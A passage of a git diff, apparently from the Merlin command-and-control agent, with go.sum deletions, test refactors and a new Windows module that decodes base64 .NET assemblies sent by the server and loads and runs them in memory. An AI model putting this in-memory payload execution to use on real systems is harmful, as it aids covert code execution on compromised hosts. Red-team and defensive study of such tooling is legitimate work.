h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= -golang.org/x/tools v0.0.0-20200609164405-eb789aa7ce50/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= -golang.org/x/tools v0.0.0-20200725200936-102e7d357031 h1:VtIxiVHWPhnny2ZTi4f9/2diZKqyLaq3FUTuud5+khA= -golang.org/x/tools v0.0.0-20200725200936-102e7d357031/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= -golang.org/x/tools v0.0.0-20200731060945-b5fad4ed8dd6/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= -golang.org/x/tools v0.0.0-20200913032122-97363e29fc9b h1:3/5GThpuWHBq2GFcurHBWuWlzdbln+Er+cyzGqQAPOs= -golang.org/x/tools v0.0.0-20200913032122-97363e29fc9b/go.mod h1:Cj7w3i3Rnn0Xh82ur9kSqwfTHTeVxaDqrfMjpcNT6bE= -golang.org/x/tools v0.0.0-20200914163123-ea50a3c84940 h1:151ExL+g/k/wnhOqV+O1OliaTi0FR2UxQEEcpAhzzw8= -golang.org/x/tools v0.0.0-20200914163123-ea50a3c84940/go.mod h1:Cj7w3i3Rnn0Xh82ur9kSqwfTHTeVxaDqrfMjpcNT6bE= -golang.org/x/tools v0.0.0-20200915201639-f4cefd1cb5ba h1:DaGyOr2vPMXInkPU5mjrVUdgXONbA8LC1Uu6whn6nWE= -golang.org/x/tools v0.0.0-20200915201639-f4cefd1cb5ba/go.mod h1:z6u4i615ZeAfBE4XtMziQW1fSVJXACjjbWkB/mvPzlU= -golang.org/x/tools v0.0.0-20210114065538-d78b04bdf963 h1:K+NlvTLy0oONtRtkl1jRD9xIhnItbG2PiE7YOdjPb+k= -golang.org/x/tools v0.0.0-20210114065538-d78b04bdf963/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= -golang.org/x/tools/gopls v0.5.0 h1:XEmO9RylgmaXp33iGrWfCGopVYDGBmLy+KmsIsfIo8Y= -golang.org/x/tools/gopls v0.5.0/go.mod h1:bm7s/5W/faSLxWyOWFtTI+5lZQQVdtksvEXdIfkFE74= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898 h1:/atklqdjdhuosWIl6AIbOeHJjicWYPqR9bpxqxYG2pA= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= @@ -937,24 +333,15 @@ golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8T google.golang.org/api v0.0.0-20180910000450-7ca32eb868bf/go.mod h1:4mhQ8q/RsB7i+udVvVy5NUi08OU8ZlA0gRVgrF7VFY0= google.golang.org/api v0.0.0-20181030000543-1d582fd0359e/go.mod h1:4mhQ8q/RsB7i+udVvVy5NUi08OU8ZlA0gRVgrF7VFY0= google.golang.org/api v0.1.0/go.mod h1:UGEZY7KEX120AnNLIHFMKIo4obdJhkp2tPbaPlQx13Y= -google.golang.org/api v0.3.1/go.mod h1:6wY9I6uQWHQ8EM57III9mq/AjF+i8G65rmVagqKMtkk= -google.golang.org/api v0.4.0 h1:KKgc1aqhV8wDPbDzlDtpvyjZFY3vjz85FP7p4wcQUyI= -google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= google.golang.org/appengine v1.2.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.3.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= -google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= google.golang.org/genproto v0.0.0-20180831171423-11092d34479b/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= google.golang.org/genproto v0.0.0-20181029155118-b69ba1387ce2/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= google.golang.org/genproto v0.0.0-20181202183823-bd91e49a0898/go.mod h1:7Ep/1NZk928CDR8SjdVbjWNpdIf6nzjE3BTgJDr2Atg= google.golang.org/genproto v0.0.0-20190306203927-b5d61aea6440/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= -google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= -google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= -google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= -google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= -google.golang.org/genproto v0.0.0-20190530194941-fb225487d101/go.mod h1:z3L6/3dTEVtUr6QSP8miRzeRqwQOioJ9I66odjN4I7s= google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013 h1:+kGHl1aib/qcwaRi1CbqBZ1rk19r85MNUf8HaBghugY= google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo= @@ -962,13 +349,7 @@ google.golang.org/grpc v1.14.0/go.mod h1:yo6s7OP7yaDglbqo1J04qKzAhqBH6lvTonzMVmE google.golang.org/grpc v1.16.0/go.mod h1:0JHn/cJsOMiMfNA9+DeHDlAU7KAAB5GDlYFpa9MZMio= google.golang.org/grpc v1.17.0/go.mod h1:6QZJwpn2B+Zp71q/5VxRsJ6NXXVCE5NRUHRo+f3cWCs= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= -google.golang.org/grpc v1.20.0/go.mod h1:chYK+tFQF0nDUGJgXMSgLCQk3phJEuONr2DCgLDdAQM= -google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= -google.golang.org/grpc v1.21.0/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= -google.golang.org/grpc v1.22.1/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= -google.golang.org/grpc v1.23.1/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= -google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= google.golang.org/grpc v1.27.0 h1:rRYRFMVgRv6E0D70Skyfsr28tDXIuuPZyWGMPdMcnXg= google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= @@ -982,67 +363,33 @@ google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2 google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.25.0 h1:Ejskq+SyPohKW+1uil0JJMtmHCgJPJ/qWTxr8qp+R4c= google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= -gopkg.in/alecthomas/kingpin.v2 v2.2.6 h1:jMFz6MfLP0/4fUyZle81rXUoxOBFi19VUFKVDOQfozc= -gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= -gopkg.in/alexcesaro/quotedprintable.v3 v3.0.0-20150716171945-2caba252f4dc/go.mod h1:m7x9LTH6d71AHyAX77c9yqWCCa3UKHcVEj9y7hAtKDk= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/cheggaaa/pb.v1 v1.0.25/go.mod h1:V/YB90LKu/1FcN3WVnfiiE5oMCibMjukxqG/qStrOgw= -gopkg.in/dedis/crypto.v0 v0.0.0-20170824083343-8f53a63e87fd h1:NgdP+CIA4HGjhid6ZJohhQjXdXnstl36ipeYPRd9fLU= -gopkg.in/dedis/crypto.v0 v0.0.0-20170824083343-8f53a63e87fd/go.mod h1:iaqPCBte+013imsCluFurQDVPHmFazSfB7Hs6Azgj0U= -gopkg.in/dedis/kyber.v2 v2.0.0-20180509082236-f066f8d2cd58 h1:PQXTHo+yhMZKhxBYkeyNN2Ya+WFqeHaBCbXTHaS4ukU= -gopkg.in/dedis/kyber.v2 v2.0.0-20180509082236-f066f8d2cd58/go.mod h1:F39ua/bdO7CJ4R27vsM7N3AA1bm2QnI27umzvZvjgmY= -gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/fsnotify.v1 v1.4.7 h1:xOHLXZwVvI9hhs+cLKq5+I5onOuwQLhQwiu63xxlHs4= gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= -gopkg.in/gcfg.v1 v1.2.3/go.mod h1:yesOnuUOFQAhST5vPY4nbZsb/huCgGGXlipJsBn0b3o= gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw= -gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo= gopkg.in/square/go-jose.v2 v2.3.1 h1:SK5KegNXmKmqE342YYN2qPHEnUYeoMiXXl1poUlI+o4= gopkg.in/square/go-jose.v2 v2.3.1/go.mod h1:M9dMgbHiYLoDGQrXy7OpJDJWiKiU//h+vD76mk0e1AI= -gopkg.in/square/go-jose.v2 v2.5.1 h1:7odma5RETjNHWJnR32wx8t+Io4djHE1PqxCFx3iiZ2w= gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ= gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= -gopkg.in/warnings.v0 v0.1.2/go.mod h1:jksf8JmL6Qr/oQM2OXTHunEvvTAsrWBLb6OOjuVWRNI= -gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74= gopkg.in/yaml.v2 v2.2.1 h1:mUhvW9EsL+naU5Q3cakzfE91YhliOondGd6ZrsDBHQE= gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.2 h1:ZCJp+EgiOT7lHqUV2J862kp8Qj64Jo6az82+3Td9dZw= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.4 h1:/eiJrUcujPVeJ3xlSWaiNi3uSVmDGBK1pDHUHAnao1I= gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= -gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= -gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.3.0 h1:clyUAQHOM3G0M3f5vQj7LuJrETvjVot3Z5el9nffUtU= gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= grpc.go4.org v0.0.0-20170609214715-11d0a25b4919/go.mod h1:77eQGdRu53HpSqPFJFmuJdjuHRquDANNeA4x7B8WQ9o= -honnef.co/go/tools v0.0.0-2019.2.1 h1:fW1wbZIKRbRK56ETe5SYloH5SdLzhXOFet2KlpRKDqg= -honnef.co/go/tools v0.0.0-2019.2.1/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= honnef.co/go/tools v0.0.0-20180728063816-88497007e858/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= -honnef.co/go/tools v0.0.1-2019.2.3 h1:3JgtbtFHMiCmsznwGVTUWbgGov+pVqnlf1dEJTNAXeM= -honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= -honnef.co/go/tools v0.0.1-2020.1.3 h1:sXmLre5bzIR6ypkjXCDI3jHPssRhc8KD/Ome589sc3U= -honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= -honnef.co/go/tools v0.0.1-2020.1.5 h1:nI5egYTGJakVyOryqLs1cQO5dO0ksin5XXs2pspk75k= -honnef.co/go/tools v0.0.1-2020.1.5/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= -honnef.co/go/tools v0.1.0 h1:AWNL1W1i7f0wNZ8VwOKNJ0sliKvOF/adn0EHenfUh+c= -honnef.co/go/tools v0.1.0/go.mod h1:XtegFAyX/PfluP4921rXU5IkjkqBCDnUq4W8VCIoKvM= -mvdan.cc/gofumpt v0.0.0-20200802201014-ab5a8192947d h1:t8TAw9WgTLghti7RYkpPmqk4JtQ3+wcP5GgZqgWeWLQ= -mvdan.cc/gofumpt v0.0.0-20200802201014-ab5a8192947d/go.mod h1:bzrjFmaD6+xqohD3KYP0H2FEuxknnBmyyOxdhLdaIws= -mvdan.cc/xurls/v2 v2.2.0 h1:NSZPykBXJFCetGZykLAxaL6SIpvbVy/UFEniIfHAa8A= -mvdan.cc/xurls/v2 v2.2.0/go.mod h1:EV1RMtya9D6G5DMYPGD8zTQzaHet6Jh8gFlRgGRJeO8= -rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= -rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= -sigs.k8s.io/yaml v1.1.0/go.mod h1:UJmg0vDUVViEyp3mgSv9WPwZCDxu4rQW1olrI1uml+o= -sourcegraph.com/sourcegraph/appdash v0.0.0-20190731080439-ebfcffb1b5c0/go.mod h1:hI742Nqp5OhwiqlzhgfbWU4mW4yO10fP+LoT9WOswdU= sourcegraph.com/sourcegraph/go-diff v0.5.0/go.mod h1:kuch7UrkMzY0X+p9CRK03kfuPQ2zzQcaEFbx8wA8rck= sourcegraph.com/sqs/pbtypes v0.0.0-20180604144634-d3ebe8f20ae4/go.mod h1:ketZ/q3QxT9HOBeFhu6RdvsftgpsbFHBF5Cas6cDKZ0= diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index 312e8233..afe968ae 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -172,7 +172,7 @@ func New(config Config) (*Agent, error) { } // Run instructs an agent to establish communications with the passed in server using the passed in protocol -func (a *Agent) Run() error { +func (a *Agent) Run() { rand.Seed(time.Now().UTC().UnixNano()) cli.Message(cli.NOTE, fmt.Sprintf("Agent version: %s", a.Version)) diff --git a/pkg/agent/agent_test.go b/pkg/agent/agent_test.go index 37b7cd39..10876f0a 100644 --- a/pkg/agent/agent_test.go +++ b/pkg/agent/agent_test.go @@ -164,70 +164,24 @@ func TestNewHTTP3Client(t *testing.T) { } } -// TestKillDate validates that Agent will quit running and exit once the kill date has been exceeded -func TestKillDate(t *testing.T) { - a, err := New(agentConfig) - - if err != nil { - t.Error(err) - } - - // Get the client - clientConfig.AgentID = a.ID - a.Client, err = merlinHTTP.New(clientConfig) - if err != nil { - t.Error(err) - } - - a.KillDate = 1560616599 - errRun := a.Run() - // TODO the function won't actually return unless there is an error - if errRun == nil { - t.Errorf("the agent did not quit when the killdate was exceeded") - } -} - -// TestFailedCheckin test for the agent to exit after the amount of failed checkins exceeds the agent's MaxRetry setting -func TestFailedCheckin(t *testing.T) { +// TestPSK ensure that the agent can't successfully communicate with the server using the wrong PSK +func TestPSK(t *testing.T) { a, err := New(agentConfig) if err != nil { t.Error(err) } - // Get the client - clientConfig.AgentID = a.ID - a.Client, err = merlinHTTP.New(clientConfig) - if err != nil { - t.Error(err) - } - - a.FailedCheckin = a.MaxRetry - - errRun := a.Run() - if errRun == nil { - t.Errorf("the agent did not quit when the maximum number of failed checkin atttempts were reached") - } -} - -// TestPSK ensure that the agent can't successfully communicate with the server using the wrong PSK -func TestPSK(t *testing.T) { - a, err := New(agentConfig) + config := clientConfig + config.AgentID = a.ID + a.Client, err = merlinHTTP.New(config) if err != nil { t.Error(err) } - // Get the client - var errClient error - clientConfig.AgentID = a.ID - clientConfig.Protocol = "h2" - a.Client, errClient = merlinHTTP.New(clientConfig) - if errClient != nil { - t.Error(errClient) - } a.WaitTime = 5000 * time.Millisecond - err = a.Client.Set("psk", "wrongPassword") + err = a.Client.Set("secret", "wrongPassword") if err != nil { t.Error(err) } @@ -258,7 +212,6 @@ func TestPSK(t *testing.T) { // TestOPAQUE verifies that agent is able to successfully complete the OPAQUE protocol Registration and Authentication steps func TestOPAQUE(t *testing.T) { a, err := New(agentConfig) - if err != nil { t.Error(err) } @@ -289,7 +242,6 @@ func TestOPAQUE(t *testing.T) { // TestAgentInitialCheckin verifies the Agent's initialCheckin() function returns without error func TestAgentInitialCheckIn(t *testing.T) { a, err := New(agentConfig) - if err != nil { t.Error(err) return @@ -299,8 +251,8 @@ func TestAgentInitialCheckIn(t *testing.T) { // Get the client config := clientConfig config.AgentID = a.ID - config.URL = "https://127.0.0.1:8082/merlin" - a.Client, err = merlinHTTP.New(clientConfig) + config.URL = "https://127.0.0.1:8083/merlin" + a.Client, err = merlinHTTP.New(config) if err != nil { t.Error(err) } @@ -309,7 +261,7 @@ func TestAgentInitialCheckIn(t *testing.T) { setup := make(chan struct{}) ended := make(chan struct{}) - go testserver.TestServer{}.Start("8082", ended, setup, t) + go testserver.TestServer{}.Start("8083", ended, setup, t) //wait until set up <-setup @@ -333,9 +285,9 @@ func TestBadAuthentication(t *testing.T) { // Get the client config := clientConfig config.AgentID = a.ID - config.URL = "https://127.0.0.1:8083" + config.URL = "https://127.0.0.1:8084" config.PSK = "neverGonnaGiveYouUp" - a.Client, err = merlinHTTP.New(clientConfig) + a.Client, err = merlinHTTP.New(config) if err != nil { t.Error(err) } @@ -344,7 +296,7 @@ func TestBadAuthentication(t *testing.T) { setup := make(chan struct{}) ended := make(chan struct{}) - go testserver.TestServer{}.Start("8083", ended, setup, t) + go testserver.TestServer{}.Start("8084", ended, setup, t) //wait until set up <-setup diff --git a/pkg/agent/cli/cli.go b/pkg/agent/cli/cli.go index 3ee29bed..76d70463 100644 --- a/pkg/agent/cli/cli.go +++ b/pkg/agent/cli/cli.go @@ -40,6 +40,8 @@ const ( // Message is used to print text to Standard Out func Message(level int, message string) { + core.Mutex.Lock() + defer core.Mutex.Unlock() switch level { case INFO: if core.Verbose { diff --git a/pkg/agent/clients/http/http.go b/pkg/agent/clients/http/http.go index 559542da..5999010e 100644 --- a/pkg/agent/clients/http/http.go +++ b/pkg/agent/clients/http/http.go @@ -188,8 +188,8 @@ func getClient(protocol string, proxyURL string, ja3 string) (*http.Client, erro // KeepAlive will send a HTTP/2 PING frame to keep the connection alive // If this isn't used, and the agent's sleep is greater than the MaxIdleTimeout, then the connection will timeout KeepAlive: true, - // HandshakeTimeout is how long the client will wait to hear back while setting up the initial crypto handshake w/ server - HandshakeTimeout: time.Second * 30, + // HandshakeIdleTimeout is how long the client will wait to hear back while setting up the initial crypto handshake w/ server + HandshakeIdleTimeout: time.Second * 30, }, TLSClientConfig: TLSConfig, } @@ -329,7 +329,7 @@ func (client *Client) SendMerlinMessage(m messages.Base) (messages.Base, error) // Send the request cli.Message(cli.DEBUG, fmt.Sprintf("Sending POST request size: %d to: %s", req.ContentLength, client.URL)) - cli.Message(cli.DEBUG, fmt.Sprintf("HTTP Request:\r\n%+v", req)) + //cli.Message(cli.DEBUG, fmt.Sprintf("HTTP Request:\r\n%+v", req)) resp, err := client.Client.Do(req) if err != nil { diff --git a/pkg/agent/clients/http/opaque.go b/pkg/agent/clients/http/opaque.go index 62ecd662..1d7f06bc 100644 --- a/pkg/agent/clients/http/opaque.go +++ b/pkg/agent/clients/http/opaque.go @@ -70,6 +70,7 @@ func (client *Client) opaqueRegister() error { cli.Message(cli.NOTE, "Starting OPAQUE Registration") msg := messages.Base{ + ID: client.AgentID, Type: messages.OPAQUE, } @@ -140,6 +141,7 @@ func (client *Client) opaqueAuthenticate() (messages.Base, error) { cli.Message(cli.NOTE, "Starting OPAQUE Authentication") msg := messages.Base{ + ID: client.AgentID, Type: messages.OPAQUE, } // Set the Agent's JWT to be self-generated diff --git a/pkg/agent/commands/clr.go b/pkg/agent/commands/clr.go new file mode 100644 index 00000000..289158bc --- /dev/null +++ b/pkg/agent/commands/clr.go @@ -0,0 +1,17 @@ +// +build !windows + +package commands + +import ( + "fmt" + "github.com/Ne0nd0g/merlin/pkg/agent/cli" + "github.com/Ne0nd0g/merlin/pkg/jobs" +) + +// CLR is the entrypoint for Jobs that are processed to determine which CLR function should be executed +func CLR(cmd jobs.Command) jobs.Results { + cli.Message(cli.DEBUG, fmt.Sprintf("entering CLR() with %+v", cmd)) + return jobs.Results{ + Stderr: "the CLR module is not supported by this agent type", + } +} diff --git a/pkg/agent/commands/clr_windows.go b/pkg/agent/commands/clr_windows.go new file mode 100644 index 00000000..86dbe642 --- /dev/null +++ b/pkg/agent/commands/clr_windows.go @@ -0,0 +1,180 @@ +// +build windows + +package commands + +import ( + // Standard + "encoding/base64" + "fmt" + "strings" + + // 3rd Party + clr "github.com/Ne0nd0g/go-clr" + + // Internal + "github.com/Ne0nd0g/merlin/pkg/agent/cli" + "github.com/Ne0nd0g/merlin/pkg/agent/core" + "github.com/Ne0nd0g/merlin/pkg/jobs" +) + +// runtimeHost is the main object used to interact with the CLR to load and invoke assemblies +var runtimeHost *clr.ICORRuntimeHost + +// assemblies is a list of the loaded assemblies that can be invoked +var assemblies = make(map[string]assembly) + +// redirected tracks if STDOUT/STDERR have been redirected for the CLR so that they can be captured +// and send back to the server +var redirected bool + +// assembly is a structure to represent a loaded assembly that can subsequently be invoked +type assembly struct { + name string + version string + methodInfo *clr.MethodInfo +} + +// CLR is the entrypoint for Jobs that are processed to determine which CLR function should be executed +func CLR(cmd jobs.Command) jobs.Results { + clr.Debug = core.Debug + if len(cmd.Args) > 0 { + cli.Message(cli.SUCCESS, fmt.Sprintf("CLR module command: %s", cmd.Args[0])) + switch strings.ToLower(cmd.Args[0]) { + case "start": + return startCLR(cmd.Args[1]) + case "list-assemblies": + return listAssemblies() + case "load-assembly": + return loadAssembly(cmd.Args[1:]) + case "load-clr": + return startCLR(cmd.Args[1]) + case "invoke-assembly": + return invokeAssembly(cmd.Args[1:]) + default: + j := jobs.Results{ + Stderr: fmt.Sprintf("unrecognized CLR command: %s", cmd.Args[0]), + } + return j + } + } + j := jobs.Results{ + Stderr: "no arguments were provided to the CLR module", + } + return j +} + +// startCLR loads the CLR runtime version number from Args[0] into the current process +func startCLR(runtime string) (results jobs.Results) { + cli.Message(cli.DEBUG, fmt.Sprintf("Received input parameter for startCLR function: %s", runtime)) + + var err error + // Redirect STDOUT/STDERR so it can be captured + if !redirected { + err = clr.RedirectStdoutStderr() + if err != nil { + results.Stderr = fmt.Sprintf("there was an error redirecting STDOUT/STDERR:\n%s", err) + cli.Message(cli.WARN, results.Stderr) + return + } + } + + // Load the CLR and an ICORRuntimeHost instance + runtimeHost, err = clr.LoadCLR(runtime) + if err != nil { + results.Stderr = fmt.Sprintf("there was an error calling the startCLR function:\n%s", err) + cli.Message(cli.WARN, results.Stderr) + return + } + results.Stdout = fmt.Sprintf("the %s CLR runtime was successfully loaded", runtime) + cli.Message(cli.SUCCESS, results.Stdout) + return +} + +// loadAssembly loads an assembly into the runtimeHost's default AppDomain +func loadAssembly(args []string) (results jobs.Results) { + cli.Message(cli.DEBUG, "Entering into clr.loadAssembly()...") + //cli.Message(cli.DEBUG, fmt.Sprintf("Received input parameter for loadAssembly function: %+v", args)) + if len(args) > 1 { + var a assembly + a.name = strings.ToLower(args[1]) + for _, v := range assemblies { + if v.name == a.name { + results.Stderr = fmt.Sprintf("the '%s' assembly is already loaded", a.name) + cli.Message(cli.WARN, results.Stderr) + return + } + } + + // Load the v4 runtime if there are not any runtimes currently loaded + if runtimeHost == nil { + r := startCLR("") + if r.Stderr != "" { + return r + } + } + + // Base64 decode Arg[1], the assembly bytes + assembly, err := base64.StdEncoding.DecodeString(args[0]) + if err != nil { + results.Stderr = fmt.Sprintf("there was an error decoding the Base64 string: %s", err) + cli.Message(cli.WARN, results.Stderr) + return + } + + // Load the assembly + a.methodInfo, err = clr.LoadAssembly(runtimeHost, assembly) + if err != nil { + results.Stderr = fmt.Sprintf("there was an error calling the loadAssembly function:\n%s", err) + cli.Message(cli.WARN, results.Stderr) + return + } + + assemblies[a.name] = a + results.Stdout = fmt.Sprintf("Successfully loaded %s into the default AppDomain", a.name) + cli.Message(cli.SUCCESS, results.Stdout) + return + } + results.Stderr = fmt.Sprintf("expected 2 arguments for the load-assembly command, received %d", len(args)) + cli.Message(cli.WARN, results.Stderr) + return +} + +// invokeAssembly executes a previously loaded assembly +func invokeAssembly(args []string) (results jobs.Results) { + cli.Message(cli.DEBUG, "Entering into clr.invokeAssembly()...") + cli.Message(cli.DEBUG, fmt.Sprintf("Received input parameter for invokeAssembly function: %+v", args)) + cli.Message(cli.NOTE, fmt.Sprintf("Invoking .NET assembly: %s", args)) + if len(args) > 0 { + var isLoaded bool + var a assembly + for _, v := range assemblies { + if v.name == strings.ToLower(args[0]) { + isLoaded = true + a = v + } + } + if isLoaded { + core.Mutex.Lock() + results.Stdout, results.Stderr = clr.InvokeAssembly(a.methodInfo, args[1:]) + core.Mutex.Unlock() + cli.Message(cli.DEBUG, "Leaving clr.invokeAssembly() function without error") + return + } + 